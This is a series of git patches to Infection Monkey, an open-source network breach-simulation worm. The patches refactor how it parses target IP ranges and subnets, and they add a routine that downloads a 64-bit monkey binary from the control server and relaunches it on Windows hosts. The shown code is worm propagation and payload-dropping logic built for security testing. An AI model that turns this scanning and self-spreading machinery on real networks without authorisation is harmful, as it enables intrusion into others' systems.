From 7ee0ceda750e3fd22f098a2dbcf0f45a5f69bfd7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 20 Feb 2018 16:15:40 +0200 Subject: [PATCH 01/92] Support ranges in fixed_ip_list --- chaos_monkey/network/range.py | 65 +++++++++++++++++++++++++---------- 1 file changed, 46 insertions(+), 19 deletions(-) diff --git a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py index b07828f4b..732749e3e 100644 --- a/chaos_monkey/network/range.py +++ b/chaos_monkey/network/range.py @@ -3,6 +3,8 @@ import socket import struct from abc import ABCMeta, abstractmethod +import ipaddress + from model.host import VictimHost __author__ = 'itamar' @@ -16,6 +18,14 @@ class NetworkRange(object): self._shuffle = shuffle self._config = __import__('config').WormConfiguration + @staticmethod + def _ip_to_number(address): + return struct.unpack(">L", socket.inet_aton(address))[0] + + @staticmethod + def _number_to_ip(num): + return socket.inet_ntoa(struct.pack(">L", num)) + @abstractmethod def _get_range(self): raise NotImplementedError() @@ -26,7 +36,7 @@ class NetworkRange(object): random.shuffle(base_range) for x in base_range: - yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x))) + yield VictimHost(self._number_to_ip(self._base_address + x)) class ClassCRange(NetworkRange): @@ -35,8 +45,8 @@ class ClassCRange(NetworkRange): super(ClassCRange, self).__init__(base_address, shuffle=shuffle) def __repr__(self): - return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)), - socket.inet_ntoa(struct.pack(">L", self._base_address + 254))) + return "" % (self._number_to_ip(self._base_address + 1), + self._number_to_ip(self._base_address + 254)) def _get_range(self): return range(1, 254) @@ -49,8 +59,8 @@ class RelativeRange(NetworkRange): self._size = 1 def __repr__(self): - return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)), - socket.inet_ntoa(struct.pack(">L", self._base_address + self._size))) + return "" % (self._number_to_ip(self._base_address - self._size), + self._number_to_ip(self._base_address + self._size)) def _get_range(self): lower_end = -(self._size / 2) @@ -59,24 +69,41 @@ class RelativeRange(NetworkRange): class FixedRange(NetworkRange): - def __init__(self, fixed_addresses=None, shuffle=True): + def __init__(self, fixed_addresses, shuffle=True): base_address = 0 super(FixedRange, self).__init__(base_address, shuffle=shuffle) - if not fixed_addresses: - self._fixed_addresses = self._config.range_fixed - else: - if type(fixed_addresses) is str: - self._fixed_addresses = [fixed_addresses] - else: - self._fixed_addresses = list(fixed_addresses) + self._fixed_addresses = fixed_addresses def __repr__(self): return "" % (",".join(self._fixed_addresses)) + @staticmethod + def _cidr_range_to_ip_list(address_str): + return [FixedRange._ip_to_number(str(x)) for x in ipaddress.ip_network(unicode(address_str), strict=False)] + + @staticmethod + def _ip_range_to_ip_list(address_str): + addresses = address_str.split('-') + if len(addresses) != 2: + raise ValueError('Illegal address format: %s' % address_str) + lower_end, higher_end = [FixedRange._ip_to_number(x.strip()) for x in addresses] + if higher_end < lower_end: + raise ValueError('Illegal address range: %s' % address_str) + return range(lower_end, higher_end + 1) + + @staticmethod + def _parse_address_str(address_str): + address_str = address_str.strip() + if not address_str: # Empty string + return [] + if -1 != address_str.find('-'): + return FixedRange._ip_range_to_ip_list(address_str) + if -1 != address_str.find('/'): + return FixedRange._cidr_range_to_ip_list(address_str) + return [FixedRange._ip_to_number(address_str)] + def _get_range(self): - address_range = [] - for address in self._fixed_addresses: - if not address: # Empty string - continue - address_range.append(struct.unpack(">L", socket.inet_aton(address.strip()))[0]) - return address_range + ip_list = list(reduce( + lambda x, y: x.union(y), + [set(self._parse_address_str(z)) for z in self._fixed_addresses])) + return [x for x in ip_list if (x & 0xFF != 0)] # remove broadcast ips From d3ce9562242f6e2af4052af4f78db8cfea0eeb04 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 20 Feb 2018 16:21:23 +0200 Subject: [PATCH 02/92] Change description of config value --- monkey_island/cc/services/config.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ea755312f..361854f05 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -223,7 +223,7 @@ SCHEMA = { " Class C Range will scan machines in the Class C network the monkey's on." }, "range_fixed": { - "title": "Fixed range IP list", + "title": "Fixed range IP/subnet list", "type": "array", "uniqueItems": True, "items": { @@ -232,8 +232,9 @@ SCHEMA = { "default": [ ], "description": - "List of IPs to include when using FixedRange" - " (Only relevant for Fixed Range)" + "List of IPs/subnets to include when using FixedRange" + " (Only relevant for Fixed Range)." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" } } } From 898644df7bfb13f993f8fbafd219201155d0756c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 16:11:52 +0200 Subject: [PATCH 03/92] Remove range classes in config network now scans several range classes according to config --- chaos_monkey/config.py | 2 - chaos_monkey/example.conf | 1 - chaos_monkey/network/info.py | 14 +-- chaos_monkey/network/network_scanner.py | 15 +-- chaos_monkey/network/range.py | 127 +++++++++++++++--------- monkey_island/cc/services/config.py | 22 +--- monkey_island/cc/services/report.py | 2 - 7 files changed, 96 insertions(+), 87 deletions(-) diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index e62820816..b9a597f8b 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -8,7 +8,6 @@ from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger -from network.range import FixedRange __author__ = 'itamar' @@ -182,7 +181,6 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - range_class = FixedRange range_fixed = ['', ] blocked_ips = ['', ] diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index 6f70f888a..b100cf111 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -7,7 +7,6 @@ "www.google.com" ], "keep_tunnel_open_time": 60, - "range_class": "RelativeRange", "range_fixed": [ "" ], diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py index 3bab8cb17..30a75780e 100644 --- a/chaos_monkey/network/info.py +++ b/chaos_monkey/network/info.py @@ -8,6 +8,7 @@ import itertools import netifaces from subprocess import check_output from random import randint +from range import CidrRange def get_host_subnets(): @@ -129,7 +130,7 @@ def check_internet_access(services): return False -def get_ips_from_interfaces(): +def get_interfaces_ranges(): """ Returns a list of IPs accessible in the host in each network interface, in the subnet. Limits to a single class C if the network is larger @@ -138,15 +139,14 @@ def get_ips_from_interfaces(): res = [] ifs = get_host_subnets() for net_interface in ifs: - address_str = unicode(net_interface['addr']) - netmask_str = unicode(net_interface['netmask']) - host_address = ipaddress.ip_address(address_str) + address_str = net_interface['addr'] + netmask_str = net_interface['netmask'] ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) # limit subnet scans to class C only if ip_interface.network.num_addresses > 255: - ip_interface = ipaddress.ip_interface(u"%s/24" % address_str) - addrs = [str(addr) for addr in ip_interface.network.hosts() if addr != host_address] - res.extend(addrs) + res.append(CidrRange(cidr_range="%s/24" % (address_str, ))) + else: + res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res diff --git a/chaos_monkey/network/network_scanner.py b/chaos_monkey/network/network_scanner.py index 9c1cf897e..a62f4950e 100644 --- a/chaos_monkey/network/network_scanner.py +++ b/chaos_monkey/network/network_scanner.py @@ -2,7 +2,7 @@ import logging import time from config import WormConfiguration -from info import local_ips, get_ips_from_interfaces +from info import local_ips, get_interfaces_ranges from range import * from . import HostScanner @@ -20,9 +20,8 @@ class NetworkScanner(object): def initialize(self): """ - Set up scanning based on configuration - FixedRange -> Reads from range_fixed field in configuration - otherwise, takes a range from every IP address the current host has. + Set up scanning. + based on configuration: scans local network and/or scans fixed list of IPs/subnets. :return: """ # get local ip addresses @@ -33,13 +32,9 @@ class NetworkScanner(object): LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses) # for fixed range, only scan once. - if WormConfiguration.range_class is FixedRange: - self._ranges = [WormConfiguration.range_class(fixed_addresses=WormConfiguration.range_fixed)] - else: - self._ranges = [WormConfiguration.range_class(ip_address) - for ip_address in self._ip_addresses] + self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.range_fixed] if WormConfiguration.local_network_scan: - self._ranges += [FixedRange([ip_address for ip_address in get_ips_from_interfaces()])] + self._ranges += get_interfaces_ranges() LOG.info("Base local networks to scan are: %r", self._ranges) def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): diff --git a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py index 732749e3e..2698d6803 100644 --- a/chaos_monkey/network/range.py +++ b/chaos_monkey/network/range.py @@ -18,6 +18,32 @@ class NetworkRange(object): self._shuffle = shuffle self._config = __import__('config').WormConfiguration + def get_range(self): + return [x for x in self._get_range() if (x & 0xFF != 0)] # remove broadcast ips + + def __iter__(self): + base_range = self.get_range() + if self._shuffle: + random.shuffle(base_range) + + for x in base_range: + yield VictimHost(self._number_to_ip(self._base_address + x)) + + @abstractmethod + def _get_range(self): + raise NotImplementedError() + + @staticmethod + def get_range_obj(address_str): + address_str = address_str.strip() + if not address_str: # Empty string + return None + if -1 != address_str.find('-'): + return IpRange(ip_range=address_str) + if -1 != address_str.find('/'): + return CidrRange(cidr_range=address_str) + return SingleIpRange(ip_address=address_str) + @staticmethod def _ip_to_number(address): return struct.unpack(">L", socket.inet_aton(address))[0] @@ -26,18 +52,6 @@ class NetworkRange(object): def _number_to_ip(num): return socket.inet_ntoa(struct.pack(">L", num)) - @abstractmethod - def _get_range(self): - raise NotImplementedError() - - def __iter__(self): - base_range = self._get_range() - if self._shuffle: - random.shuffle(base_range) - - for x in base_range: - yield VictimHost(self._number_to_ip(self._base_address + x)) - class ClassCRange(NetworkRange): def __init__(self, base_address, shuffle=True): @@ -68,42 +82,65 @@ class RelativeRange(NetworkRange): return range(lower_end, higher_end + 1) -class FixedRange(NetworkRange): - def __init__(self, fixed_addresses, shuffle=True): +class CidrRange(NetworkRange): + def __init__(self, cidr_range, shuffle=True): base_address = 0 - super(FixedRange, self).__init__(base_address, shuffle=shuffle) - self._fixed_addresses = fixed_addresses + super(CidrRange, self).__init__(base_address, shuffle=shuffle) + self._cidr_range = cidr_range.strip() + self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False) def __repr__(self): - return "" % (",".join(self._fixed_addresses)) + return "" % (self._cidr_range, ) - @staticmethod - def _cidr_range_to_ip_list(address_str): - return [FixedRange._ip_to_number(str(x)) for x in ipaddress.ip_network(unicode(address_str), strict=False)] - - @staticmethod - def _ip_range_to_ip_list(address_str): - addresses = address_str.split('-') - if len(addresses) != 2: - raise ValueError('Illegal address format: %s' % address_str) - lower_end, higher_end = [FixedRange._ip_to_number(x.strip()) for x in addresses] - if higher_end < lower_end: - raise ValueError('Illegal address range: %s' % address_str) - return range(lower_end, higher_end + 1) - - @staticmethod - def _parse_address_str(address_str): - address_str = address_str.strip() - if not address_str: # Empty string - return [] - if -1 != address_str.find('-'): - return FixedRange._ip_range_to_ip_list(address_str) - if -1 != address_str.find('/'): - return FixedRange._cidr_range_to_ip_list(address_str) - return [FixedRange._ip_to_number(address_str)] + def is_in_range(self, ip_address): + return ipaddress.ip_address(ip_address) in self._ip_network def _get_range(self): - ip_list = list(reduce( - lambda x, y: x.union(y), - [set(self._parse_address_str(z)) for z in self._fixed_addresses])) - return [x for x in ip_list if (x & 0xFF != 0)] # remove broadcast ips + return [CidrRange._ip_to_number(str(x)) for x in self._ip_network] + + +class IpRange(NetworkRange): + def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): + base_address = 0 + super(IpRange, self).__init__(base_address, shuffle=shuffle) + if ip_range is not None: + addresses = ip_range.split('-') + if len(addresses) != 2: + raise ValueError('Illegal IP range format: %s' % ip_range) + self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] + if self._higher_end_ip < self._lower_end_ip: + raise ValueError('Higher end IP is smaller than lower end IP: %s' % ip_range) + elif (lower_end_ip is not None) and (higher_end_ip is not None): + self._lower_end_ip = lower_end_ip + self._higher_end_ip = higher_end_ip + else: + raise ValueError('Illegal IP range: %s' % ip_range) + + self._lower_end_ip_num = IpRange._ip_to_number(self._lower_end_ip) + self._higher_end_ip_num = IpRange._ip_to_number(self._higher_end_ip) + + def __repr__(self): + return "" % (self._lower_end_ip, self._higher_end_ip) + + def is_in_range(self, ip_address): + return self._lower_end_ip_num <= IpRange._ip_to_number(ip_address) <= self._higher_end_ip_num + + def _get_range(self): + return range(self._lower_end_ip_num, self._higher_end_ip_num + 1) + + +class SingleIpRange(NetworkRange): + def __init__(self, ip_address, shuffle=True): + base_address = 0 + super(SingleIpRange, self).__init__(base_address, shuffle=shuffle) + self._ip_address = ip_address + + def __repr__(self): + return "" % (self._ip_address,) + + def is_in_range(self, ip_address): + return self._ip_address == ip_address + + def _get_range(self): + return [SingleIpRange._ip_to_number(self._ip_address)] + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 361854f05..f5aae69b4 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -205,25 +205,8 @@ SCHEMA = { "title": "Network range", "type": "object", "properties": { - "range_class": { - "title": "Range class", - "type": "string", - "default": "FixedRange", - "enum": [ - "FixedRange", - "ClassCRange" - ], - "enumNames": [ - "Fixed Range", - "Class C Range" - ], - "description": - "Determines which class to use to determine scan range." - " Fixed Range will scan only specific IPs listed under Fixed range IP list." - " Class C Range will scan machines in the Class C network the monkey's on." - }, "range_fixed": { - "title": "Fixed range IP/subnet list", + "title": "Scan IP/subnet list", "type": "array", "uniqueItems": True, "items": { @@ -232,8 +215,7 @@ SCHEMA = { "default": [ ], "description": - "List of IPs/subnets to include when using FixedRange" - " (Only relevant for Fixed Range)." + "List of IPs/subnets the monkey should scan." " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" } } diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index c197c55f3..848b572bc 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -315,8 +315,6 @@ class ReportService: @staticmethod def get_config_ips(): - if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True) != 'FixedRange': - return [] return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True) @staticmethod From 0de15736ac54c68061f88d6471d74b4df598e131 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 16:34:23 +0200 Subject: [PATCH 04/92] rename and move range_fixed --- infection_monkey/config.py | 2 +- infection_monkey/example.conf | 2 +- infection_monkey/network/network_scanner.py | 2 +- monkey_island/cc/services/config.py | 10 ++-------- monkey_island/cc/services/report.py | 2 +- 5 files changed, 6 insertions(+), 12 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index b9a597f8b..d4710f906 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -181,7 +181,7 @@ class Configuration(object): # Auto detect and scan local subnets local_network_scan = True - range_fixed = ['', ] + subnet_scan_list = ['', ] blocked_ips = ['', ] diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index b100cf111..852c366d0 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -7,7 +7,7 @@ "www.google.com" ], "keep_tunnel_open_time": 60, - "range_fixed": [ + "subnet_scan_list": [ "" ], "blocked_ips": [""], diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index a62f4950e..7bdddc904 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -32,7 +32,7 @@ class NetworkScanner(object): LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses) # for fixed range, only scan once. - self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.range_fixed] + self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list] if WormConfiguration.local_network_scan: self._ranges += get_interfaces_ranges() LOG.info("Base local networks to scan are: %r", self._ranges) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 133890760..a4b31728d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -198,14 +198,8 @@ SCHEMA = { "Amount of hops allowed for the monkey to spread from the island. " + WARNING_SIGN + " Note that setting this value too high may result in the monkey propagating too far" - } - } - }, - "network_range": { - "title": "Network range", - "type": "object", - "properties": { - "range_fixed": { + }, + "subnet_scan_list": { "title": "Scan IP/subnet list", "type": "array", "uniqueItems": True, diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 848b572bc..250acc17a 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -315,7 +315,7 @@ class ReportService: @staticmethod def get_config_ips(): - return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True) + return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True) @staticmethod def get_config_scan(): From 4730480db96c1642582afa26f2325f1619195bdd Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:35:00 +0200 Subject: [PATCH 05/92] Remove ClassCRange and RelativeRange --- infection_monkey/network/range.py | 29 ----------------------------- 1 file changed, 29 deletions(-) diff --git a/infection_monkey/network/range.py b/infection_monkey/network/range.py index 2698d6803..4e100378e 100644 --- a/infection_monkey/network/range.py +++ b/infection_monkey/network/range.py @@ -53,35 +53,6 @@ class NetworkRange(object): return socket.inet_ntoa(struct.pack(">L", num)) -class ClassCRange(NetworkRange): - def __init__(self, base_address, shuffle=True): - base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00 - super(ClassCRange, self).__init__(base_address, shuffle=shuffle) - - def __repr__(self): - return "" % (self._number_to_ip(self._base_address + 1), - self._number_to_ip(self._base_address + 254)) - - def _get_range(self): - return range(1, 254) - - -class RelativeRange(NetworkRange): - def __init__(self, base_address, shuffle=True): - base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] - super(RelativeRange, self).__init__(base_address, shuffle=shuffle) - self._size = 1 - - def __repr__(self): - return "" % (self._number_to_ip(self._base_address - self._size), - self._number_to_ip(self._base_address + self._size)) - - def _get_range(self): - lower_end = -(self._size / 2) - higher_end = lower_end + self._size - return range(lower_end, higher_end + 1) - - class CidrRange(NetworkRange): def __init__(self, cidr_range, shuffle=True): base_address = 0 From 816be5191bd127ef73caa48bb66ebf93cfad8c23 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:35:32 +0200 Subject: [PATCH 06/92] Add is_in_range as abstract method --- infection_monkey/network/range.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/infection_monkey/network/range.py b/infection_monkey/network/range.py index 4e100378e..4eb4e122c 100644 --- a/infection_monkey/network/range.py +++ b/infection_monkey/network/range.py @@ -29,6 +29,10 @@ class NetworkRange(object): for x in base_range: yield VictimHost(self._number_to_ip(self._base_address + x)) + @abstractmethod + def is_in_range(self, ip_address): + raise NotImplementedError() + @abstractmethod def _get_range(self): raise NotImplementedError() From e57ce1099f4a830113ee31094118638c6cb7cf84 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 17:53:16 +0200 Subject: [PATCH 07/92] Remove unecessary parameters and members. Create better abstraction --- infection_monkey/network/network_scanner.py | 3 ++- infection_monkey/network/range.py | 20 ++++++-------------- 2 files changed, 8 insertions(+), 15 deletions(-) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 7bdddc904..df1b4f369 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -45,7 +45,8 @@ class NetworkScanner(object): for net_range in self._ranges: LOG.debug("Scanning for potential victims in the network %r", net_range) - for victim in net_range: + for ip_addr in net_range: + victim = VictimHost(ip_addr) if stop_callback and stop_callback(): LOG.debug("Got stop signal") break diff --git a/infection_monkey/network/range.py b/infection_monkey/network/range.py index 4eb4e122c..31a88e0df 100644 --- a/infection_monkey/network/range.py +++ b/infection_monkey/network/range.py @@ -5,18 +5,14 @@ from abc import ABCMeta, abstractmethod import ipaddress -from model.host import VictimHost - __author__ = 'itamar' class NetworkRange(object): __metaclass__ = ABCMeta - def __init__(self, base_address, shuffle=True): - self._base_address = base_address + def __init__(self, shuffle=True): self._shuffle = shuffle - self._config = __import__('config').WormConfiguration def get_range(self): return [x for x in self._get_range() if (x & 0xFF != 0)] # remove broadcast ips @@ -27,7 +23,7 @@ class NetworkRange(object): random.shuffle(base_range) for x in base_range: - yield VictimHost(self._number_to_ip(self._base_address + x)) + yield self._number_to_ip(x) @abstractmethod def is_in_range(self, ip_address): @@ -59,13 +55,12 @@ class NetworkRange(object): class CidrRange(NetworkRange): def __init__(self, cidr_range, shuffle=True): - base_address = 0 - super(CidrRange, self).__init__(base_address, shuffle=shuffle) + super(CidrRange, self).__init__(shuffle=shuffle) self._cidr_range = cidr_range.strip() self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False) def __repr__(self): - return "" % (self._cidr_range, ) + return "" % (self._cidr_range,) def is_in_range(self, ip_address): return ipaddress.ip_address(ip_address) in self._ip_network @@ -76,8 +71,7 @@ class CidrRange(NetworkRange): class IpRange(NetworkRange): def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): - base_address = 0 - super(IpRange, self).__init__(base_address, shuffle=shuffle) + super(IpRange, self).__init__(shuffle=shuffle) if ip_range is not None: addresses = ip_range.split('-') if len(addresses) != 2: @@ -106,8 +100,7 @@ class IpRange(NetworkRange): class SingleIpRange(NetworkRange): def __init__(self, ip_address, shuffle=True): - base_address = 0 - super(SingleIpRange, self).__init__(base_address, shuffle=shuffle) + super(SingleIpRange, self).__init__(shuffle=shuffle) self._ip_address = ip_address def __repr__(self): @@ -118,4 +111,3 @@ class SingleIpRange(NetworkRange): def _get_range(self): return [SingleIpRange._ip_to_number(self._ip_address)] - From 1d07e5f98fc792cbf3ea513b6106570a72d3a181 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 26 Feb 2018 18:39:49 +0200 Subject: [PATCH 08/92] Move range to common code folder --- common/__init__.py | 1 + common/network/__init__.py | 1 + {infection_monkey => common}/network/range.py | 0 infection_monkey/monkey-linux.spec | 2 +- infection_monkey/monkey.spec | 2 +- infection_monkey/network/info.py | 2 +- infection_monkey/network/network_scanner.py | 3 ++- 7 files changed, 7 insertions(+), 4 deletions(-) create mode 100644 common/__init__.py create mode 100644 common/network/__init__.py rename {infection_monkey => common}/network/range.py (100%) diff --git a/common/__init__.py b/common/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/common/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/common/network/__init__.py b/common/network/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/common/network/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/infection_monkey/network/range.py b/common/network/range.py similarity index 100% rename from infection_monkey/network/range.py rename to common/network/range.py diff --git a/infection_monkey/monkey-linux.spec b/infection_monkey/monkey-linux.spec index c8c4c631b..fac69536e 100644 --- a/infection_monkey/monkey-linux.spec +++ b/infection_monkey/monkey-linux.spec @@ -4,7 +4,7 @@ block_cipher = None a = Analysis(['main.py'], - pathex=['.'], + pathex=['.', '..'], binaries=None, datas=None, hiddenimports=['_cffi_backend'], diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index 8e004145b..cb9c6130e 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -2,7 +2,7 @@ import os import platform a = Analysis(['main.py'], - pathex=['.'], + pathex=['.', '..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index 30a75780e..da30e7b0f 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -8,7 +8,7 @@ import itertools import netifaces from subprocess import check_output from random import randint -from range import CidrRange +from common.network.range import CidrRange def get_host_subnets(): diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index df1b4f369..7837e36c3 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -3,7 +3,8 @@ import time from config import WormConfiguration from info import local_ips, get_interfaces_ranges -from range import * +from common.network.range import * +from model import VictimHost from . import HostScanner __author__ = 'itamar' From 8509eef48e7053550a3ebc9093cff67ab9af5e0d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 14:10:01 +0200 Subject: [PATCH 09/92] Add basic logic to windows upgrade --- infection_monkey/config.py | 2 ++ infection_monkey/example.conf | 1 + infection_monkey/monkey.py | 24 ++++++++----- infection_monkey/windows_upgrader.py | 53 ++++++++++++++++++++++++++++ monkey_island/cc/services/config.py | 7 ++++ 5 files changed, 79 insertions(+), 8 deletions(-) create mode 100644 infection_monkey/windows_upgrader.py diff --git a/infection_monkey/config.py b/infection_monkey/config.py index e62820816..633534b84 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -116,6 +116,8 @@ class Configuration(object): dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' dropper_target_path = r"C:\Windows\monkey.exe" + # TODO: move and rename + dropper_upgrade_win_64_temp_path = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6f70f888a..3ebe3f122 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -23,6 +23,7 @@ "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, "dropper_target_path": "C:\\Windows\\monkey.exe", + "dropper_upgrade_win_64_temp_path": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 22be2cf46..b05d94fd4 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -13,6 +13,7 @@ from network.firewall import app as firewall from network.network_scanner import NetworkScanner from system_info import SystemInfoCollector from system_singleton import SystemSingleton +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -34,6 +35,7 @@ class InfectionMonkey(object): self._fingerprint = None self._default_server = None self._depth = 0 + self._opts = None def initialize(self): LOG.info("Monkey is initializing...") @@ -46,13 +48,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-d', '--depth') - opts, self._args = arg_parser.parse_known_args(self._args) + self._opts, self._args = arg_parser.parse_known_args(self._args) - self._parent = opts.parent - self._default_tunnel = opts.tunnel - self._default_server = opts.server - if opts.depth: - WormConfiguration.depth = int(opts.depth) + self._parent = self._opts.parent + self._default_tunnel = self._opts.tunnel + self._default_server = self._opts.server + if self._opts.depth: + WormConfiguration.depth = int(self._opts.depth) WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -66,6 +68,10 @@ class InfectionMonkey(object): LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): + if WindowsUpgrader.should_upgrade(): + WindowsUpgrader.upgrade(self._opts) + return + LOG.info("Monkey is running...") if firewall.is_enabled(): @@ -226,9 +232,11 @@ class InfectionMonkey(object): firewall.close() - self._singleton.unlock() + if not WindowsUpgrader.should_upgrade(): + self._singleton.unlock() - if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'): + if WormConfiguration.self_delete_in_cleanup \ + and -1 == sys.executable.find('python') and not WindowsUpgrader.should_upgrade(): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py new file mode 100644 index 000000000..1c6049cfd --- /dev/null +++ b/infection_monkey/windows_upgrader.py @@ -0,0 +1,53 @@ +import os +import struct +import sys + +import monkeyfs +from config import WormConfiguration +from control import ControlClient +from exploit.tools import build_monkey_commandline_explicitly +from model import DROPPER_CMDLINE_WINDOWS + +__author__ = 'itay.mizeretz' + +if "win32" == sys.platform: + from win32process import DETACHED_PROCESS +else: + DETACHED_PROCESS = 0 + + +class WindowsUpgrader(object): + @staticmethod + def is_64bit_os(): + return os.environ.has_key('PROGRAMFILES(X86)') + + @staticmethod + def is_64bit_python(): + return struct.calcsize("P") == 8 + + @staticmethod + def is_windows_os(): + return sys.platform.startswith("win") + + @staticmethod + def should_upgrade(): + return WindowsUpgrader.is_windows_os() and WindowsUpgrader.is_64bit_os() \ + and not WindowsUpgrader.is_64bit_python() + + @staticmethod + def upgrade(opts): + monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) + with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: + monkey_bin = downloaded_monkey_file.read() + with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: + written_monkey_file.write(monkey_bin) + + monkey_options = build_monkey_commandline_explicitly( + opts.parent, opts.tunnel, opts.server, int(opts.depth)) + + monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path} + monkey_options + monkey_process = 